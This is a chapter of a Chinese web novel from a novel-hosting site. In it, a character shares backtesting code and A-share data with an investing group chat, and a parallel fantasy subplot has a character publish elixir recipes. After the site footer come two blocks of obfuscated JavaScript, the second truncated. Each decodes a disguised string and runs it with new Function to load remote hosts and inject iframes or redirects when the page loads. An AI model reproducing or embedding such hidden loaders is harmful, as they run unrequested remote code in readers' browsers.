第37章 我开源全部代码,附三年A股数据
第37章我开源全部代码,附三年A股数据(第1/2页)
2026年5月15日星期五晚上20:00
------
【群聊记录】
时间:20:00
明觉:晚间复盘。市场今日小幅反弹。降龙兄昨日之回测数据,发人深省。吾观其过程与结果,愈觉“量化验证”之重要。贝兄,不知你当初构建自身体系时,可曾对“网格交易”、“再平衡”等核心策略,进行过系统性的长期回测?
巴派谪传弟子-老金:同问。我也好奇,贝兄你那套三维仓位,特别是网格交易,在历史上不同市场阶段(牛市、熊市、震荡市)的表现到底怎么样?有没有数据支持?还是说,主要是基于逻辑推演?
锅王:又来了。他那套东西,回测有什么用?过去不代表未来。不过……我也挺好奇,你那乌龟流,在历史上能跑赢指数吗?别回测出来比定投还差,那就搞笑了。
降龙十八掌:(经过一夜消化,语气沉稳许多)我昨天用贝兄给的代码,又回测了几个简单的策略,包括一个最简单的“买入持有沪深300”,一个“年化再平衡(股债50/50)”,还有一个简化版的“固定间距网格”。虽然我写的网格策略很粗糙,但数据确实有意思。贝兄,你的回测肯定更完善。方便分享更多吗?特别是关于网格参数优化、不同标的、不同市况的数据?
无所不晓:数据……看多了头晕。但感觉有数据比没数据强。
贝悟得:看到大家开始关注“数据验证”,这是非常好的现象。我的体系并非凭空想象,其核心组成部分(资产配置、再平衡、网格交易)都有成熟的理论基础,并且我自己在构建过程中,也确实进行了大量的回测和模拟,以理解其风险收益特征、适应环境以及参数敏感性。这些回测是辅助我理解工具、建立信心、并设定合理预期的重要依据。
贝悟得:既然@降龙十八掌已经迈出了第一步,@明觉和@老金也提出了具体问题,@锅王也表达了“好奇”,那么,作为对“理性投资、数据驱动”理念的践行,我决定做一件事:将我用于策略回测的Python代码库(简化版,但核心功能完整),以及用于回测的A股市场三年基础数据(2019-2021),整理并开源给大家。
贝悟得:请注意:
1.这不是一个成熟的量化交易系统,而是一个教学和验证性质的简化回测框架。目的是帮助有编程基础或愿意学习的朋友,理解回测的基本流程,并验证一些简单的投资想法。
2.代码和数据的目的是“授人以渔”,而非提供“圣杯策略”。你可以用它们验证自己的思路,也可以学习如何构建回测。
3.数据仅为示例:包含沪深300、中证500、创业板指等主要宽基指数,以及部分行业ETF的日线数据(前复权)。数据来源于公开渠道,可能存在微小误差,用于教学回测足够。
4.风险提示:回测基于历史,不代表未来。代码和策略可能存在错误,请谨慎对待结果,切勿直接用于实盘。
贝悟得:我现在将打包好的文件上传到群文件。压缩包名为“Invest_Backtest_Demo_2019-2021.zip”。里面包含:
1.README.md:详细的使用说明,包括环境配置、代码结构、数据说明、如何运行示例、以及如何修改策略。
2./data目录:存放CSV格式的历史行情数据。
3./strategies目录:几个示例策略的Python文件。
buy_and_hold.py:买入并持有策略。
annual_rebalance.py:股债年化再平衡策略(示例用沪深300和国债指数模拟)。
simple_grid.py:一个基础的、固定价格间距的网格交易策略示例。
macd_cross.py:MACD金叉死叉策略(示例,同之前分享)。
4.backtest_engine.py:简化的回测引擎核心文件,处理数据加载、信号生成、模拟交易、计算绩效指标等。
5.utils.py:一些工具函数,如计算最大回撤、夏普比率等。
6.requirements.txt:所需的Python库列表。
贝悟得:我重点解释一下simple_grid.py这个网格策略示例,因为它与我的体系关联最直接。这个示例策略非常简单:
标的:沪深300ETF(以指数替代)。
逻辑:设定一个基准价(如初始价格),然后向上、向下各设置N个网格,间距固定(如5%)。当价格触及网格线时,执行买入(向下)或卖出(向上)。每次买卖固定数量(或金额)。
参数可调:基准价、网格间距、网格层数、每格交易量、初始现金比例等。
回测输出:净值曲线、年化收益、最大回撤、夏普比率、交易次数、胜率等,并与买入持有对比。
贝悟得:你可以用这个示例,回测2019-2021年(包含上涨、震荡、结构性行情)的网格表现。你会发现:
在2019-2020年的趋势上涨市中,网格策略大幅跑输买入持有,因为它会不断卖出,过早降低仓位。
在2021年的震荡/结构性行情中,网格策略可能小幅跑赢或持平买入持有,因为它能捕捉波动收益。
长期(三年)来看,在这个示例参数下,网格策略的年化收益很可能低于买入持有,但最大回撤也显著更小,夏普比率(风险调整后收益)可能更高。
网格策略的表现极度依赖于标的的波动率和网格参数。在低波动标的上,它可能长期不触发;在高波动标的上,它可能频繁交易,摩擦成本高。
贝悟得:这就是为什么在我的体系中,网格主要用于“安全仓”(成本已低,目标是持续降低成本、产生现金流、平滑波动),而非作为主要的收益来源。同时,我通过“三维仓位”中的“交易仓”和“现金仓”来弥补网格在趋势市中的不足,并通过“再平衡”来实现另一种形式的“高卖低买”。回测帮助我理解了每个工具的边界,从而在体系中进行恰当的定位和组合。
文件上传完毕。群里再次出现短暂的寂静,这次是信息量过大带来的消化期。
明觉:善!大善!贝兄此举,真乃“开源”之典范,非仅代码数据之公开,乃是“心法”之无私布施。昔日释迦拈花,迦叶微笑,以心传心。今贝兄开源代码,以“数”传“道”,令有心者得以自行验证,于实践中体悟投资之真谛。此非“授人以鱼”,实乃“授人以渔”,且将“渔具”与“渔场”一并奉上。吾等感激不尽。
老金:虽然我看不懂代码,但贝兄这份诚意和坦荡,我感受到了。降龙兄,你能看懂,回头能不能在群里大概讲讲,比如网格回测出来的具体数据?我也想知道,我这个5000块小网格,长期坚持下去,大概能有个什么预期。
降龙十八掌:收到!太感谢了贝兄!我这就下载研究。你这个框架比我昨天自己瞎搞的完整多了,还有再平衡、网格的示例。老金,没问题,等我跑出结果,把关键数据截图发群里。贝兄,你这个网格示例的参数,和你实盘用的差别大吗?
锅王:……你还真全给了。行,我服。虽然我可能不会去跑代码,但你这态度,我认。至少比那些藏着掖着、光吹牛的大V强。不过,我还是那句话,回测是过去,未来不一样。但你愿意亮家伙,这点比很多人强。
无所不晓:文件好大……我先保存着。等我以后……也许能看懂。
贝悟得:回答一下。
@老金:对于你的小网格,长期预期(以宽基ETF为例)可以粗略参考:目标是获得略高于货币基金、但远低于股票长期平均回报的收益(比如年化4-8%),同时将最大回撤控制在很低水平(比如-10%以内)。更重要的是体验“成本持续下降”和“心态平稳”的过程。
(本章未完,请点击下一页继续阅读)第37章我开源全部代码,附三年A股数据(第2/2页)
@降龙十八掌:示例参数是教学用的,比较简化。我实盘的网格参数会更复杂,包括动态间距(根据波动率调整)、多层网格、累计限额、以及跨品种的联动规则。但核心逻辑相通。你可以先用示例理解原理,再尝试优化。
@锅王:你说得对,回测不代表未来。但它是我们理解市场规律、评估策略风险收益特征的必要不充分条件。没有回测的策略如同没有图纸的建筑,风险更高。有回测,至少知道这栋建筑在历史天气中是否牢固。
贝悟得:最后,我想强调开源的目的:
1.促进理性讨论:当我们对某个策略有争议时,可以尝试用同一套数据和方法回测,用数据说话,而不是空对空争论。
2.降低学习·门槛:希望为有兴趣深入的朋友提供一个起点,减少自己从零搭建的困难。
3.接受检验:我的策略思路和代码实现公开出来,如有错误或不足,欢迎大家指正,共同完善。投资是认知的变现,开放的讨论有助于提升认知。
4.传播理念:投资不应是玄学或迷信,而应尽可能建立在逻辑、数据和概率的基础上。开源代码和数据,是这种理念的实践。
明觉:闻君之言,如沐春风。此诚“投资正道”之气象也。吾等当珍惜此机缘,或学而用之,或思而辨之,切莫辜负贝兄一片苦心。金兄、降龙兄、乃至锅王兄、无所不晓兄,此或是吾等“掘金营”真正“掘”得之第一桶“金”——非钱财,乃“理性求真”之方法与“开源共进”之精神。善哉!
------
【后续发展(根据群聊片段整理)】
接下来的几天,群里关于代码和数据的讨论明显增多,虽然参与核心讨论的仍是少数,但氛围更加技术化和务实。
5月16日周六
降龙十八掌在群里分享了运行simple_grid.py(默认参数)在沪深300指数上2019-2021年的回测结果截图。数据显示:网格策略年化收益约5.2%,最大回撤-8.7%,夏普比率0.52;同期买入持有年化收益约12.1%,最大回撤-16.8%,夏普比率0.78。他评论道:“网格收益确实低不少,但回撤也小一半。夏普比率低,说明风险调整后收益还是不如持有。但考虑到网格能提供持续现金流(交易触发)和心理稳定,作为‘安全仓’工具是说得通的。”
老金请降龙十八掌帮他回测了一个“每月定投1000元沪深300ETF”的简单策略,结果显示年化约9.5%,最大回撤-16.8%。老金说:“看来对我这种小白,定投是最简单有效的起步方式,收益不差,波动也能接受。等我网格成本做低了,再结合定投试试。”
5月17日周日
锅王在群里问了一句:“那个回测代码,能测同时持有几只股票,然后设个止损线的策略吗?”降龙十八掌回复:“可以,但需要改代码。贝兄给的例子是单标的的,多标的的要自己写循环和持仓管理。不过思路是通的。”锅王回了个“哦”,没再说话,但显然在思考。
无所不晓私聊降龙十八掌,问能不能帮他回测一个“消息驱动”策略:听到利好消息当天收盘买入,持有三天卖出。降龙十八掌回复:“理论上可以,但你需要提供明确的‘利好消息’定义和可量化的数据源,而且历史上哪些是‘利好’很难客观定义,容易引入未来函数。这个回测做不了,或者说做了也不准。”无所不晓似乎有些失望,但也表示理解。
5月18日周一
明觉在群里发布了一段关于“回测的哲学思考”的文字,他认为回测的本质是“以史为鉴,明得失,知进退,而非刻舟求剑,妄图复制历史”。他赞赏贝悟得开源代码是提供了“鉴”的工具,但强调使用者需有自己的“明”与“知”。
------
时间:5月18日晚上,写作。
在《混沌丹途》的世界里,林枫决定做一件在坊间炼丹师中极少有人做的事。他将自己“炼丹初记”中,关于“聚气丹”、“回气散”、“养元丹”这三种他已经完全掌握、且炼制流程高度稳定化的丹药的详细丹方、药材处理要点、火候控制曲线、常见失误及解决方法,整理编纂成一本薄薄的册子,命名为《低阶丹术精要(林氏手录)》。
他没有藏私,而是将此册的复刻版本,放置于坊市他常去的茶馆,并留下话:任何对丹道有兴趣的散修,皆可免费取阅、抄录。若因此册而有所得,无需回报,只望将来若有余力,亦可将自己的心得补充其中,或帮助其他后来者。
此举在散修中引起不小震动。有人讥其愚蠢,将安身立命之本轻易示人;有人疑其有诈,册中恐有谬误;但更多底层散修,尤其是那些缺乏传承、苦苦摸索的炼丹学徒,则如获至宝。
一位白发苍苍、困于“养元丹”多年不得入门的老修士,捧着册子老泪纵横,找到林枫深施一礼:“道友高义!此册所载,条理清晰,要点分明,尤以‘常见失误’篇,直指老朽多年症结!此恩,没齿难忘!”
林枫扶起老者,平静道:“道兄言重。丹道之传,贵在实证与共享。我之所录,亦是踩在前人肩头,历经无数失败所得。今日公开,非为施恩,乃是希望后来者少走些弯路,我辈散修若能因此多几分交流,丹道或可昌明一二。此册并非完美,其中若有错漏,还望道兄及诸位同道不吝指正补充。”
很快,便有一些修士根据册子尝试,成功炼制出品质稳定的丹药,并主动将自己在某些细节上的新发现或对不同药材的适应性观察,记录下来,交还或告知林枫。林枫将这些反馈仔细整理,作为“补遗”附在册后。这本小册子,竟在底层散修中悄然流转,成为一部“活”的、不断完善的公共丹道笔记。
林枫知道,公开丹方不会削弱他的竞争力。因为真正的竞争力,在于他持续的研究能力、资源管理体系和对更高阶丹道的探索。而公开基础,反而可能吸引志同道合者,促进交流,甚至在未来催生出更高效的协作模式。“道不轻传,亦不吝传。传其法,而非传其果;启其智,而非代其劳。”这便是林枫对“开源”的理解。
写完这一章,我保存文档,心绪平和。
现实中开源回测代码,与小说中公开丹方手录,内核一致。
它们都不是奉献出“终极武器”,而是提供一套“可验证的方法”和“基础的素材”,降低后来者的入门门槛,促进基于事实和数据的理性·交流。
“掘金营”里,理性的火种因为这份开源,似乎燃烧得更旺了一些。
降龙十八掌在从“赌徒”向“量化探索者”转变。
老金在寻找适合自己的、数据支持的稳健路径。
锅王开始思考策略的“可测试性”。
明觉在哲学层面进行升华。
无所不晓虽然仍处外围,但也受到了这种氛围的浸染。
而我,在代码开源之后,感到一种奇异的轻松。我的体系不再是一个需要严密守护的“黑箱”,而是一个可以摆在桌面上,接受检验、讨论甚至改进的“开放式工程图纸”。
这让我对自己的“道”更加确信。
真正的强大,不是固守秘密,而是敢于公开,并在公开的讨论和检验中,不断迭代,变得更加坚韧和澄明。
夜已深,星光明亮。
代码在硬盘中静默,数据在文件中沉睡。
但“理性”与“开源”的种子,已在许多人的心中,悄然扎下了根。
未来,它们会生长出什么?
我期待着。
并继续,在我的轨道上,安静地运行,持续地记录,坦然地分享。
一秒记住【顶点小说】
dingdian12345.com,更新快,无弹窗!
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 